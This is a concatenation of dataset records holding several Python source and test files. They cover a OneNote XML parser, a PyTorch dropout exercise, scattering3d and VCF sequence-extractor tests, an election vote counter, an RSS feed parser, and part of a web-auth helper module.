parent_node\r\n if (xml != None): # != None is required here, since this can return false\r\n self.__deserialize_from_xml(xml)\r\n\r\n\r\n # Get / Set Meta\r\n\r\n def __deserialize_from_xml (self, xml):\r\n self._xml = xml\r\n self.name = xml.get(\"name\")\r\n self.id = xml.get(\"ID\")\r\n self.date_time = xml.get(\"dateTime\")\r\n self.last_modified_time = xml.get(\"lastModifiedTime\")\r\n self.page_level = xml.get(\"pageLevel\")\r\n self.is_currently_viewed = xml.get(\"isCurrentlyViewed\")\r\n self._children = [Meta(xml=node) for node in xml]\r\n\r\n\r\nclass Meta():\r\n \r\n def __init__ (self, xml = None):\r\n self.name = \"\"\r\n self.content = \"\"\r\n if (xml!=None):\r\n self.__deserialize_from_xml(xml)\r\n\r\n def __str__(self):\r\n return self.name \r\n\r\n def __deserialize_from_xml (self, xml):\r\n self._xml = xml\r\n self.name = xml.get(\"name\")\r\n self.id = xml.get(\"content\")\r\n\r\n\r\nclass PageContent(Node):\r\n\r\n def __init__ (self, xml=None):\r\n super().__init__()\r\n self.id = \"\"\r\n self.date_time = \"\"\r\n self.last_modified_time = \"\"\r\n self.page_level = \"\"\r\n self.lang = \"\"\r\n self.is_currently_viewed = \"\"\r\n self.files = []\r\n if (xml != None):\r\n self.__deserialize_from_xml(xml)\r\n self._xml = xml\r\n\r\n def __deserialize_from_xml(self, xml):\r\n self.name = xml.get(\"name\")\r\n self.id = xml.get(\"ID\")\r\n self.date_time = xml.get(\"dateTime\")\r\n self.last_modified_time = xml.get(\"lastModifiedTime\")\r\n self.page_level = xml.get(\"pageLevel\")\r\n self.lang = xml.get(\"lang\")\r\n self.is_currently_viewed = xml.get(\"isCurrentlyViewed\")\r\n for node in xml:\r\n if (node.tag == namespace + \"Outline\"):\r\n self._children.append(Outline(node))\r\n elif (node.tag == namespace + \"Ink\"):\r\n self.files.append(Ink(node))\r\n elif (node.tag == namespace + \"Image\"):\r\n self.files.append(Image(node))\r\n elif (node.tag == namespace + \"InsertedFile\"):\r\n self.files.append(InsertedFile(node)) \r\n elif (node.tag == namespace + \"MediaFile\"):\r\n self.files.append(MediaFile(node, self)) \r\n elif (node.tag == namespace + \"Title\"):\r\n self._children.append(Title(node)) \r\n elif (node.tag == namespace + \"MediaPlaylist\"):\r\n self.media_playlist = MediaPlaylist(node, self) \r\n \r\n\r\nclass Title(Node):\r\n\r\n def __init__ (self, xml=None):\r\n super().__init__()\r\n self.style = \"\"\r\n self.lang = \"\"\r\n if (xml != None):\r\n self.__deserialize_from_xml(xml)\r\n\r\n def __str__ (self):\r\n return \"Page Title\"\r\n\r\n def __deserialize_from_xml(self, xml):\r\n self.style = xml.get(\"style\")\r\n self.lang = xml.get(\"lang\")\r\n for node in xml:\r\n if (node.tag == namespace + \"OE\"):\r\n self._children.append(OE(node, self))\r\n\r\n\r\nclass Outline(Node):\r\n\r\n def __init__ (self, xml=None):\r\n super().__init__()\r\n self.author = \"\"\r\n self.author_initials = \"\"\r\n self.last_modified_by = \"\"\r\n self.last_modified_by_initials = \"\"\r\n self.last_modified_time = \"\"\r\n self.id = \"\"\r\n if (xml != None):\r\n self.__deserialize_from_xml(xml)\r\n self._xml = xml\r\n\r\n def __str__(self):\r\n return \"Outline\"\r\n\r\n def __deserialize_from_xml (self, xml): \r\n self.author = xml.get(\"author\")\r\n self.author_initials = xml.get(\"authorInitials\")\r\n self.last_modified_by = xml.get(\"lastModifiedBy\")\r\n self.last_modified_by_initials = xml.get(\"lastModifiedByInitials\")\r\n self.last_modified_time = xml.get(\"lastModifiedTime\")\r\n self.id = xml.get(\"objectID\")\r\n append = self._children.append\r\n for node in xml:\r\n if (node.tag == namespace + \"OEChildren\"):\r\n for childNode in node:\r\n if (childNode.tag == namespace + \"OE\"):\r\n append(OE(childNode, self)) \r\n\r\n\r\nclass Position():\r\n\r\n def __init__ (self, xml=None, parent_node=None):\r\n self.x = \"\"\r\n self.y = \"\"\r\n self.z = \"\"\r\n self.parent = parent_node\r\n if (xml!=None):\r\n self.__deserialize_from_xml(xml)\r\n\r\n def __deserialize_from_xml(self, xml):\r\n self.x = xml.get(\"x\")\r\n self.y = xml.get(\"y\")\r\n self.z = xml.get(\"z\")\r\n\r\n\r\nclass Size():\r\n\r\n def __init__ (self, xml=None, parent_node=None):\r\n self.width = \"\"\r\n self.height = \"\"\r\n self.parent = parent_node\r\n if (xml!=None):\r\n self.__deserialize_from_xml(xml)\r\n\r\n def __deserialize_from_xml(self, xml):\r\n self.width = xml.get(\"width\")\r\n self.height = xml.get(\"height\")\r\n\r\n\r\nclass OE(Node):\r\n\r\n def __init__ (self, xml=None, parent_node=None):\r\n super().__init__()\r\n self.creation_time = \"\"\r\n self.last_modified_time = \"\"\r\n self.last_modified_by = \"\"\r\n self.id = \"\"\r\n self.alignment = \"\"\r\n self.quick_style_index = \"\"\r\n self.style = \"\"\r\n self.text = \"\"\r\n self.parent = parent_node\r\n self.files = []\r\n self.media_indices = []\r\n if (xml != None):\r\n self.__deserialize_from_xml(xml)\r\n self._xml = xml\r\n\r\n def __str__(self):\r\n try:\r\n return self.text\r\n except AttributeError:\r\n return \"Empty OE\"\r\n\r\n def __deserialize_from_xml(self, xml):\r\n self.creation_time = xml.get(\"creationTime\")\r\n self.last_modified_time = xml.get(\"lastModifiedTime\")\r\n self.last_modified_by = xml.get(\"lastModifiedBy\")\r\n self.id = xml.get(\"objectID\")\r\n self.alignment = xml.get(\"alignment\")\r\n self.quick_style_index = xml.get(\"quickStyleIndex\")\r\n self.style = xml.get(\"style\")\r\n\r\n for node in xml:\r\n if (node.tag == namespace + \"T\"):\r\n if (node.text != None):\r\n self.text = node.text\r\n else:\r\n self.text = \"\"\r\n\r\n elif (node.tag == namespace + \"OEChildren\"):\r\n for childNode in node:\r\n if (childNode.tag == namespace + \"OE\"):\r\n self._children.append(OE(childNode, self))\r\n\r\n elif (node.tag == namespace + \"Image\"):\r\n self.files.append(Image(node, self))\r\n\r\n elif (node.tag == namespace + \"InkWord\"):\r\n self.files.append(Ink(node, self))\r\n\r\n elif (node.tag == namespace + \"InsertedFile\"):\r\n self.files.append(InsertedFile(node, self))\r\n\r\n elif (node.tag == namespace + \"MediaFile\"):\r\n self.files.append(MediaFile(node, self))\r\n \r\n elif (node.tag == namespace + \"MediaIndex\"):\r\n self.media_indices.append(MediaIndex(node, self))\r\n\r\n\r\nclass InsertedFile():\r\n\r\n # need to add position data to this class\r\n\r\n def __init__ (self, xml=None, parent_node=None):\r\n self.path_cache = \"\"\r\n self.path_source = \"\"\r\n self.preferred_name = \"\"\r\n self.last_modified_time = \"\"\r\n self.last_modified_by = \"\"\r\n self.id = \"\"\r\n self.parent = parent_node\r\n if (xml != None):\r\n self.__deserialize_from_xml(xml)\r\n\r\n def __iter__ (self):\r\n yield None\r\n \r\n def __str__(self):\r\n try:\r\n return self.preferredName\r\n except AttributeError:\r\n return \"Unnamed File\"\r\n\r\n def __deserialize_from_xml(self, xml):\r\n self.path_cache = xml.get(\"pathCache\")\r\n self.path_source = xml.get(\"pathSource\")\r\n self.preferred_name = xml.get(\"preferredName\")\r\n self.last_modified_time = xml.get(\"lastModifiedTime\")\r\n self.last_modified_by = xml.get(\"lastModifiedBy\")\r\n self.id = xml.get(\"objectID\") \r\n\r\n \r\nclass MediaReference():\r\n def __init__ (self, xml=None, parent_node=None):\r\n self.media_id = \"\"\r\n \r\n def __iter__ (self):\r\n yield None\r\n \r\n def __str__(self):\r\n return \"Media Reference\"\r\n\r\n def __deserialize_from_xml(self, xml):\r\n self.media_id = xml.get(\"mediaID\")\r\n \r\n\r\nclass MediaPlaylist():\r\n def __init__ (self, xml=None, parent_node=None):\r\n self.media_references = []\r\n \r\n def __iter__(self):\r\n for c in self.media_references:\r\n yield c\r\n \r\n def __str__(self):\r\n return \"Media Index\"\r\n\r\n def __deserialize_from_xml(self, xml):\r\n for node in xml:\r\n if (node.tag == namespace + \"MediaReference\"):\r\n self.media_references.append(MediaReference(node, self))\r\n \r\n \r\nclass MediaIndex():\r\n def __init__ (self, xml=None, parent_node=None):\r\n self.media_reference = None\r\n self.time_index = 0\r\n \r\n def __iter__(self):\r\n yield None\r\n \r\n def __str__(self):\r\n return \"Media Index\"\r\n\r\n def __deserialize_from_xml(self, xml):\r\n self.time_index = xml.get(\"timeIndex\")\r\n for node in xml:\r\n if (node.tag == namespace + \"MediaReference\"):\r\n self.media_reference = MediaReference(node, self)\r\n \r\n \r\nclass MediaFile(InsertedFile):\r\n def __init__ (self, xml=None, parent_node=None):\r\n self.media_reference = None\r\n super().__init__(xml, parent_node)\r\n \r\n def __iter__(self):\r\n yield None\r\n\r\n def __str__(self):\r\n try:\r\n return self.preferredName\r\n except AttributeError:\r\n return \"Unnamed Media File\"\r\n \r\n def __deserialize_from_xml(self, xml):\r\n super().__deserialize_from_xml(xml)\r\n for node in xml:\r\n if (node.tag == namespace + \"MediaReference\"):\r\n self.media_reference = MediaReference(node, self)\r\n \r\n \r\nclass Ink():\r\n\r\n # need to add position data to this class\r\n\r\n def __init__ (self, xml=None, parent_node=None): \r\n self.recognized_text = \"\"\r\n self.x = \"\"\r\n self.y = \"\"\r\n self.ink_origin_x = \"\"\r\n self.ink_origin_y = \"\"\r\n self.width = \"\"\r\n self.height = \"\"\r\n self.data = \"\"\r\n self.callback_id = \"\"\r\n self.parent = parent_node\r\n\r\n if (xml != None):\r\n self.__deserialize_from_xml(xml)\r\n\r\n def __iter__ (self):\r\n yield None\r\n \r\n def __str__(self):\r\n try:\r\n return self.recognizedText\r\n except AttributeError:\r\n return \"Unrecognized Ink\"\r\n\r\n def __deserialize_from_xml(self, xml):\r\n self.recognized_text = xml.get(\"recognizedText\")\r\n self.x = xml.get(\"x\")\r\n self.y = xml.get(\"y\")\r\n self.ink_origin_x = xml.get(\"inkOriginX\")\r\n self.ink_origin_y = xml.get(\"inkOriginY\")\r\n self.width = xml.get(\"width\")\r\n self.height = xml.get(\"height\")\r\n \r\n for node in xml:\r\n if (node.tag == namespace + \"CallbackID\"):\r\n self.callback_id = node.get(\"callbackID\")\r\n elif (node.tag == namespace + \"Data\"):\r\n self.data = node.text\r\n\r\n\r\nclass Image():\r\n\r\n def __init__ (self, xml=None, parent_node=None): \r\n self.format = \"\"\r\n self.original_page_number = \"\"\r\n self.last_modified_time = \"\"\r\n self.id = \"\"\r\n self.callback_id = None\r\n self.data = \"\"\r\n self.parent = parent_node\r\n if (xml != None):\r\n self.__deserialize_from_xml(xml)\r\n\r\n def __iter__ (self):\r\n yield None\r\n \r\n def __str__(self):\r\n return self.format + \" Image\"\r\n\r\n def __deserialize_from_xml(self, xml):\r\n self.format = xml.get(\"format\")\r\n self.original_page_number = xml.get(\"originalPageNumber\")\r\n self.last_modified_time = xml.get(\"lastModifiedTime\")\r\n self.id = xml.get(\"objectID\")\r\n for node in xml:\r\n if (node.tag == namespace + \"CallbackID\"):\r\n self.callback_id = node.get(\"callbackID\")\r\n elif (node.tag == namespace + \"Data\"):\r\n if (node.text != None):\r\n self.data = node.text\r\n \r\n","sub_path":"onepy/onepy.py","file_name":"onepy.py","file_ext":"py","file_size_in_byte":22734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"325884865","text":"import torch\nimport torch.nn as nn\nimport numpy as np\nimport sys\nsys.path.append(\"..\")\nimport d2lzh_pytorch as d2l\n\ndef dropout(X, drop_prob):\n X = X.float()\n assert 0 <= drop_prob <= 1 # 判定丢弃比例是否正确\n keep_prob = 1 - drop_prob\n if keep_prob == 0:\n return torch.zeros_like(X)\n mask = (torch.randn(X.shape) < keep_prob).float()\n return mask * X / keep_prob\n\nnum_inputs, num_outputs, num_hiddens1, num_hiddens2 = 784, 10, 256, 256\n\ndrop_prob1, drop_prob2 = 0.2, 0.5\n\nnet = nn.Sequential(\n d2l.FlattenLayer(),\n nn.Linear(num_inputs, num_hiddens1),\n nn.ReLU(),\n nn.Dropout(drop_prob1),\n nn.Linear(num_hiddens1, num_hiddens2),\n nn.ReLU(),\n nn.Dropout(drop_prob2),\n nn.Linear(num_hiddens2, 10)\n )\n\nfor param in net.parameters():\n nn.init.normal_(param, mean=0, std=0.01)\n\nnum_epochs, lr, batch_size = 5, 100.0, 256\nloss = torch.nn.CrossEntropyLoss()\ntrain_iter, test_iter = d2l.load_data_fashion_mnist(batch_size)\n\noptimizer = torch.optim.SGD(net.parameters(), lr=0.5)\nd2l.train_ch3(net, train_iter, test_iter, loss, num_epochs, batch_size, None, None, optimizer)\n","sub_path":"python/D2L_AI_Pytorch/3_13 Dropout.py","file_name":"3_13 Dropout.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"618684750","text":"\"\"\" This script will test the submodules used by the scattering module\"\"\"\nimport torch\nimport os\nimport numpy as np\nfrom kymatio import Scattering3D\nfrom kymatio.scattering3d import backend\nfrom kymatio.scattering3d.utils import generate_weighted_sum_of_gaussians, compute_integrals\n\nif torch.cuda.is_available():\n devices = ['gpu', 'cpu']\nelse:\n devices = ['cpu']\n\ndef linfnorm(x,y):\n return torch.max(torch.abs(x-y))\n\ndef rerror(x,y):\n nx= np.sum(np.abs(x))\n if nx==0:\n return np.sum(np.abs(y))\n else:\n return np.sum(np.abs(x-y))/nx\n \ndef relative_difference(a, b):\n return np.sum(np.abs(a - b)) / max(np.sum(np.abs(a)), np.sum(np.abs(b)))\n\n\ndef test_FFT3d_central_freq_batch():\n # Checked the 0 frequency for the 3D FFT\n for device in devices:\n x = torch.zeros(1, 32, 32, 32, 2).float()\n if device == 'gpu':\n x = x.cuda()\n a = x.sum()\n y = backend.fft(x)\n c = y[:,0,0,0].sum()\n assert (c-a).abs().sum()<1e-6\n\n\ndef test_against_standard_computations():\n file_path = os.path.abspath(os.path.dirname(__file__))\n data = torch.load(os.path.join(file_path, 'test_data_3d.pt'))\n x = data['x']\n scattering_ref = data['Sx']\n J = data['J']\n L = data['L']\n integral_powers = data['integral_powers']\n\n M = x.shape[1]\n\n batch_size = x.shape[0]\n\n N, O = M, M\n sigma = 1\n\n scattering = Scattering3D(M=M, N=N, O=O, J=J, L=L, sigma_0=sigma)\n\n for device in devices:\n if device == 'cpu':\n x = x.cpu()\n else:\n x = x.cuda()\n order_0 = compute_integrals(x, integral_powers)\n order_1, order_2 = scattering(x, order_2=True,\n method='integral', integral_powers=integral_powers)\n\n\n order_0 = order_0.cpu().numpy().reshape((batch_size, -1))\n start = 0\n end = order_0.shape[1]\n order_0_ref = scattering_ref[:,start:end].numpy()\n\n order_1 = order_1.cpu().numpy().reshape((batch_size, -1))\n start = end\n end += order_1.shape[1]\n order_1_ref = scattering_ref[:, start:end].numpy()\n\n order_2 = order_2.cpu().numpy().reshape((batch_size, -1))\n start = end\n end += order_2.shape[1]\n order_2_ref = scattering_ref[:, start:end].numpy()\n\n order_0_diff_cpu = relative_difference(order_0_ref, order_0)\n order_1_diff_cpu = relative_difference(order_1_ref, order_1)\n order_2_diff_cpu = relative_difference(order_2_ref, order_2)\n\n assert order_0_diff_cpu < 1e-6, \"CPU : order 0 do not match, diff={}\".format(order_0_diff_cpu)\n assert order_1_diff_cpu < 1e-6, \"CPU : order 1 do not match, diff={}\".format(order_1_diff_cpu)\n assert order_2_diff_cpu < 1e-6, \"CPU : order 2 do not match, diff={}\".format(order_2_diff_cpu)\n\ndef test_solid_harmonic_scattering():\n # Compare value to analytical formula in the case of a single Gaussian\n centers = torch.FloatTensor(1, 1, 3).fill_(0)\n weights = torch.FloatTensor(1, 1).fill_(1)\n sigma_gaussian = 3.\n sigma_0_wavelet = 3.\n M, N, O, J, L = 128, 128, 128, 1, 3\n grid = torch.from_numpy(\n np.fft.ifftshift(np.mgrid[-M//2:-M//2+M, -N//2:-N//2+N, -O//2:-O//2+O].astype('float32'), axes=(1,2,3)))\n x = generate_weighted_sum_of_gaussians(grid, centers, weights, sigma_gaussian)\n scattering = Scattering3D(M=M, N=N, O=O, J=J, L=L, sigma_0=sigma_0_wavelet)\n s = scattering(x, order_2=False, method='integral', integral_powers=[1])\n\n for j in range(J+1):\n sigma_wavelet = sigma_0_wavelet*2**j\n k = sigma_wavelet / np.sqrt(sigma_wavelet**2 + sigma_gaussian**2)\n for l in range(1, L+1):\n err = torch.abs(s[0, 0, j, l] - k ** l).sum()/(1e-6+s[0, 0, j, l].abs().sum())\n assert err<1e-4\n","sub_path":"kymatio/scattering3d/tests/test_scattering3d.py","file_name":"test_scattering3d.py","file_ext":"py","file_size_in_byte":3803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"342149417","text":"import pytest\nfrom cyvcf2 import VCF\nfrom pyfaidx import Sequence\nfrom pybedtools import Interval\nfrom kipoiseq.extractors.vcf_seq import IntervalSeqBuilder, VariantQueryable\nfrom kipoiseq.extractors import *\n\nfasta_file = 'tests/data/sample.5kb.fa'\nvcf_file = 'tests/data/test.vcf.gz'\n\n\nintervals = [\n Interval('chr1', 4, 10),\n Interval('chr1', 5, 30),\n Interval('chr1', 20, 30)\n]\n\n\n@pytest.fixture\ndef multi_sample_vcf():\n return MultiSampleVCF(vcf_file)\n\n\ndef test_multi_sample_vcf_fetch_variant(multi_sample_vcf):\n interval = Interval('chr1', 3, 5)\n assert len(list(multi_sample_vcf.fetch_variants(interval))) == 2\n assert len(list(multi_sample_vcf.fetch_variants(interval, 'NA00003'))) == 1\n assert len(list(multi_sample_vcf.fetch_variants(interval, 'NA00001'))) == 0\n\n interval = Interval('chr1', 7, 12)\n assert len(list(multi_sample_vcf.fetch_variants(interval))) == 0\n assert len(list(multi_sample_vcf.fetch_variants(interval, 'NA00003'))) == 0\n\n\ndef test_multi_sample_vcf_fetch_samples_with_variants(multi_sample_vcf):\n intervals = [Interval('chr1', 3, 10)]\n d = multi_sample_vcf.fetch_samples_with_variants(intervals)\n assert len(d) == 1\n assert len(d['NA00003']) == 1\n variant = d['NA00003'][0][0]\n assert variant.CHROM == 'chr1'\n assert variant.REF == 'T'\n assert variant.ALT == ['C']\n assert d['NA00003'][0][1] == 3\n\n intervals = [Interval('chr1', 3, 10), Interval('chr1', 4, 7)]\n d = multi_sample_vcf.fetch_samples_with_variants(intervals)\n assert len(d) == 1\n assert len(d['NA00003']) == 1\n\n\ndef test_multi_sample_query_samples(multi_sample_vcf):\n intervals = [Interval('chr1', 3, 10)]\n d = list(multi_sample_vcf.query_samples(intervals))\n assert len(d[0]) == 1\n assert len(d[0]['NA00003']) == 1\n\n\ndef test_query_variants(multi_sample_vcf):\n vq = multi_sample_vcf.query_variants(intervals)\n variants = list(vq)\n assert len(variants) == 5\n assert variants[0].end == 4\n assert variants[1].end == 5\n\n\ndef test_get_samples(multi_sample_vcf):\n variants = list(multi_sample_vcf)\n samples = multi_sample_vcf.get_samples(variants[0])\n assert samples == {'NA00003': 3}\n\n\ndef test_get_variant_by_id(multi_sample_vcf):\n variant = multi_sample_vcf.get_variant_by_id(\"chr1:4:T:['C']\")\n assert variant.CHROM == 'chr1'\n assert variant.POS == 4\n assert variant.REF == 'T'\n assert variant.ALT[0] == 'C'\n\n\n@pytest.fixture\ndef variant_queryable(multi_sample_vcf):\n variants = [(multi_sample_vcf.fetch_variants(i), i) for i in intervals]\n return VariantQueryable(multi_sample_vcf, variants)\n\n\ndef test_VariantQueryable__iter__(variant_queryable):\n variants = list(variant_queryable)\n assert len(variants) == 5\n assert variants[0].REF == 'T'\n assert variants[0].ALT[0] == 'C'\n\n\ndef test_VariantQueryable_filter_all(variant_queryable):\n assert 2 == len(list(variant_queryable.filter_all(\n lambda variants, interval: (v.REF == 'A' for v in variants))))\n\n\ndef test_VariantQueryable_filter_by_num_max(variant_queryable):\n assert 1 == len(list(variant_queryable.filter_by_num(max_num=1)))\n\n\ndef test_VariantQueryable_filter_by_num_min(variant_queryable):\n assert 4 == len(list(variant_queryable.filter_by_num(min_num=2)))\n\n\ndef test_VariantQueryable_to_vcf(tmpdir, variant_queryable):\n output_vcf_file = str(tmpdir / 'output.vcf')\n\n variant_queryable \\\n .filter_by_num(max_num=1) \\\n .to_vcf(output_vcf_file)\n\n vcf = MultiSampleVCF(output_vcf_file)\n variants = list(vcf)\n assert len(variants) == 1\n assert variants[0].REF == 'AACG'\n assert variants[0].ALT[0] == 'GA'\n\n\n@pytest.fixture\ndef interval_seq_builder():\n return IntervalSeqBuilder([\n Interval('chr1', 10, 13),\n Interval('chr1', 13, 14),\n Sequence(seq='TAGC', start=14, end=18),\n Interval('chr1', 18, 20)\n ])\n\n\ndef test_interval_seq_builder_restore(interval_seq_builder):\n sequence = Sequence(seq='CCCCATCGTT', start=10, end=20)\n interval_seq_builder.restore(sequence)\n assert interval_seq_builder[0].seq == 'CCC'\n assert interval_seq_builder[1].seq == 'C'\n assert interval_seq_builder[2].seq == 'TAGC'\n assert interval_seq_builder[3].seq == 'TT'\n\n interval_seq_builder.append(Interval('chr1', 5, 10))\n interval_seq_builder.restore(sequence)\n assert interval_seq_builder[4].seq == ''\n\n interval_seq_builder.append(Interval('chr1', 20, 25))\n interval_seq_builder.restore(sequence)\n assert interval_seq_builder[5].seq == ''\n\n interval_seq_builder.append(Interval('chr1', 10, 5))\n interval_seq_builder.restore(sequence)\n assert interval_seq_builder[6].seq == ''\n\n interval_seq_builder.append(Interval('chr1', 25, 20))\n interval_seq_builder.restore(sequence)\n assert interval_seq_builder[7].seq == ''\n\n\ndef test_interval_seq_builder_concat(interval_seq_builder):\n sequence = Sequence(seq='CCCCATCGNN', start=10, end=20)\n interval_seq_builder.restore(sequence)\n assert interval_seq_builder.concat() == 'CCCCTAGCNN'\n\n\n@pytest.fixture\ndef variant_seq_extractor():\n return VariantSeqExtractor(fasta_file)\n\n\ndef test__split_overlapping(variant_seq_extractor):\n pair = (Sequence(seq='AAA', start=3, end=6),\n Sequence(seq='T', start=3, end=4))\n splited_pairs = list(variant_seq_extractor._split_overlapping([pair], 5))\n\n assert splited_pairs[0][0].seq == 'AA'\n assert splited_pairs[0][1].seq == 'T'\n assert splited_pairs[1][0].seq == 'A'\n assert splited_pairs[1][1].seq == ''\n\n pair = (Sequence(seq='TT', start=3, end=5),\n Sequence(seq='AAA', start=3, end=6))\n splited_pairs = list(variant_seq_extractor._split_overlapping([pair], 4))\n\n assert splited_pairs[0][0].seq == 'T'\n assert splited_pairs[0][1].seq == 'A'\n assert splited_pairs[1][0].seq == 'T'\n assert splited_pairs[1][1].seq == 'AA'\n\n\ndef test_extract(variant_seq_extractor):\n variants = list(VCF(vcf_file)())\n\n interval = Interval('chr1', 2, 9)\n\n seq = variant_seq_extractor.extract(interval, variants, anchor=5)\n assert len(seq) == interval.end - interval.start\n assert seq == 'CGAACGT'\n\n interval = Interval('chr1', 2, 9, strand='-')\n seq = variant_seq_extractor.extract(interval, variants, anchor=5)\n assert len(seq) == interval.end - interval.start\n assert seq == 'ACGTTCG'\n\n interval = Interval('chr1', 4, 14)\n seq = variant_seq_extractor.extract(interval, variants, anchor=7)\n assert len(seq) == interval.end - interval.start\n assert seq == 'AACGTAACGT'\n\n interval = Interval('chr1', 4, 14)\n seq = variant_seq_extractor.extract(interval, variants, anchor=4)\n assert len(seq) == interval.end - interval.start\n assert seq == 'GAACGTAACG'\n\n interval = Interval('chr1', 2, 5)\n seq = variant_seq_extractor.extract(interval, variants, anchor=3)\n assert len(seq) == interval.end - interval.start\n assert seq == 'GCG'\n\n interval = Interval('chr1', 24, 34)\n seq = variant_seq_extractor.extract(interval, variants, anchor=27)\n assert len(seq) == interval.end - interval.start\n assert seq == 'TGATAACGTA'\n\n interval = Interval('chr1', 25, 35)\n seq = variant_seq_extractor.extract(interval, variants, anchor=34)\n assert len(seq) == interval.end - interval.start\n assert seq == 'TGATAACGTA'\n\n interval = Interval('chr1', 34, 44)\n seq = variant_seq_extractor.extract(interval, variants, anchor=37)\n assert len(seq) == interval.end - interval.start\n assert seq == 'AACGTAACGT'\n\n interval = Interval('chr1', 34, 44)\n seq = variant_seq_extractor.extract(interval, variants, anchor=100)\n assert len(seq) == interval.end - interval.start\n assert seq == 'AACGTAACGT'\n\n interval = Interval('chr1', 5, 11, strand='+')\n seq = variant_seq_extractor.extract(\n interval, variants, anchor=10, fixed_len=False)\n assert seq == 'ACGTAA'\n\n interval = Interval('chr1', 0, 3, strand='+')\n seq = variant_seq_extractor.extract(\n interval, variants, anchor=10, fixed_len=False)\n assert seq == 'ACG'\n\n\n@pytest.fixture\ndef single_variant_vcf_seq_extractor():\n return SingleVariantVCFSeqExtractor(fasta_file, vcf_file)\n\n\ndef test_single_variant_vcf_seq_extract(single_variant_vcf_seq_extractor):\n interval = Interval('chr1', 2, 9)\n seqs = single_variant_vcf_seq_extractor.extract(interval, anchor=3)\n assert next(seqs) == 'GCAACGT'\n assert next(seqs) == 'GTGAACG'\n\n\n@pytest.fixture\ndef single_seq_vcf_seq_extractor():\n return SingleSeqVCFSeqExtractor(fasta_file, vcf_file)\n\n\ndef test_single_seq_vcf_seq_extract(single_seq_vcf_seq_extractor):\n interval = Interval('chr1', 2, 9)\n seq = single_seq_vcf_seq_extractor.extract(interval, anchor=3)\n assert seq == 'GCGAACG'\n","sub_path":"tests/extractors/test_vcf_seq_extractor.py","file_name":"test_vcf_seq_extractor.py","file_ext":"py","file_size_in_byte":8749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"381035468","text":"\nimport os\nimport csv\n\nvoters = os.path.join('Desktop','Python-Challenge','PyPoll','election_data.csv')\n\n\nvote_count = {}\n\n\nvote_percentage = {}\n\n\nvote_total = 0\n\nwith open(voters, newline=\"\") as csvfile:\n voterreader = csv.reader(csvfile, delimiter=\",\")\n\n \n next(voterreader)\n\n \n for row in voterreader:\n\n \n vote_total += 1\n\n \n if row[2] in vote_count:\n vote_count[row[2]] += 1\n\n \n else:\n vote_count[row[2]] = 1\n\n\nwinner_count = 0\n\n\nfor candidate in vote_count:\n \n\n vote_percentage[candidate] = (vote_count[candidate] / vote_total) * 100\n\n\n if vote_count[candidate] > winner_count:\n winner_count = vote_count[candidate]\n winner = candidate\n\n\nresults_path = os.path.join('election_results.txt')\n\nwith open(results_path, 'w', newline=\"\") as txtfile:\n\n txtfile.write(f'''\nElection Results\n\nTotal Votes: {vote_total}\n\\n''')\n\n print(f'''\\nElection Results\n\nTotal Votes: {vote_total}\n''')\n\n for candidate, votes in vote_count.items():\n txtfile.write(f'{candidate}: {vote_percentage[candidate]}% ({votes})\\n')\n print(f'''{candidate}: {vote_percentage[candidate]}% ({votes})''')\n \n txtfile.write(f'''\nWinner: {winner}\n''')\n\n print(f'''\nWinner: {winner}\n''')\n\ntxtfile.close()","sub_path":"Python-Challenge/PyPoll/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"594076459","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom xml.sax.handler import ContentHandler\nfrom xml.sax import make_parser\nimport sys\nimport string\n\n\ndef normalize_whitespace(text):\n return string.join(string.split(text), ' ')\n\n\nclass CounterHandler(ContentHandler):\n\n def __init__(self):\n self.inContent = 0\n self.theContent = \"\"\n self.news = 1\n self.out = \"\"\n\n def startElement(self, name, attrs):\n if name == 'item':\n self.link = normalize_whitespace(attrs.get('rdf:about'))\n self.inContent = 1\n\n def endElement(self, name):\n if self.inContent:\n self.theContent = normalize_whitespace(self.theContent)\n if name == 'title' and self.inContent:\n self.out += (\"
  • \" +\n \"Title \" + str(self.news) + \": \" +\n self.theContent + \"
  • \\n\")\n self.inContent = 0\n self.theContent = \"\"\n self.news = self.news + 1\n\n def characters(self, chars):\n if self.inContent:\n self.theContent = self.theContent + chars\n\n\ndef getBarrapunto():\n BarraParser = make_parser()\n BarraHandler = CounterHandler()\n BarraParser.setContentHandler(BarraHandler)\n BarraParser.parse(\"http://barrapunto.com/index.rss\")\n return BarraHandler.out\n","sub_path":"cms/parser_barrapunto.py","file_name":"parser_barrapunto.py","file_ext":"py","file_size_in_byte":1343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"576144181","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@author: XuMing \n@description:\n\"\"\"\nimport functools\nimport importlib\nimport os\n\nfrom .urls import RE_TYPE_MAP\nfrom ..exception import (IdTypeErrorException, UnimplementedException)\n\nNOT_INT_ID_CLS_NAME = {'colunm', 'people', 'me'}\nINT_ID_KEY = '_id_is_int'\n\n\ndef int_id(func):\n \"\"\"\n 强制类型检查\n :param func: \n :return: \n \"\"\"\n\n @functools.wraps(func)\n def wrapper(self, *args, **kwargs):\n try:\n some_id = args[0]\n except IndexError:\n some_id = None\n if not isinstance(some_id, int):\n raise IdTypeErrorException(self.__class__)\n setattr(self, INT_ID_KEY, True)\n return func(self, *args, **kwargs)\n\n return wrapper\n\n\ndef get_class_from_name(name, module_file_name=None):\n cls_name = name.capitalize() if name.islower() else name\n file_name = module_file_name or cls_name.lower()\n try:\n imported_module = importlib.import_module('.' + file_name, 'auth.core')\n return getattr(imported_module, cls_name)\n except(ImportError, AttributeError):\n raise UnimplementedException('Unknown obj type [{}]'.format(name))\n\n\ndef build_obj_from_dict(data, session, use_cache=True, type_name=None,\n file_name=None, cls=None, id_key='id', type_key='type'):\n obj_cls = cls or get_class_from_name(type_name or data[type_key], file_name)\n obj_id = data[id_key]\n if obj_cls.__name__.lower() not in NOT_INT_ID_CLS_NAME:\n obj_cls = int(obj_id)\n data.update({id_key: obj_id})\n return 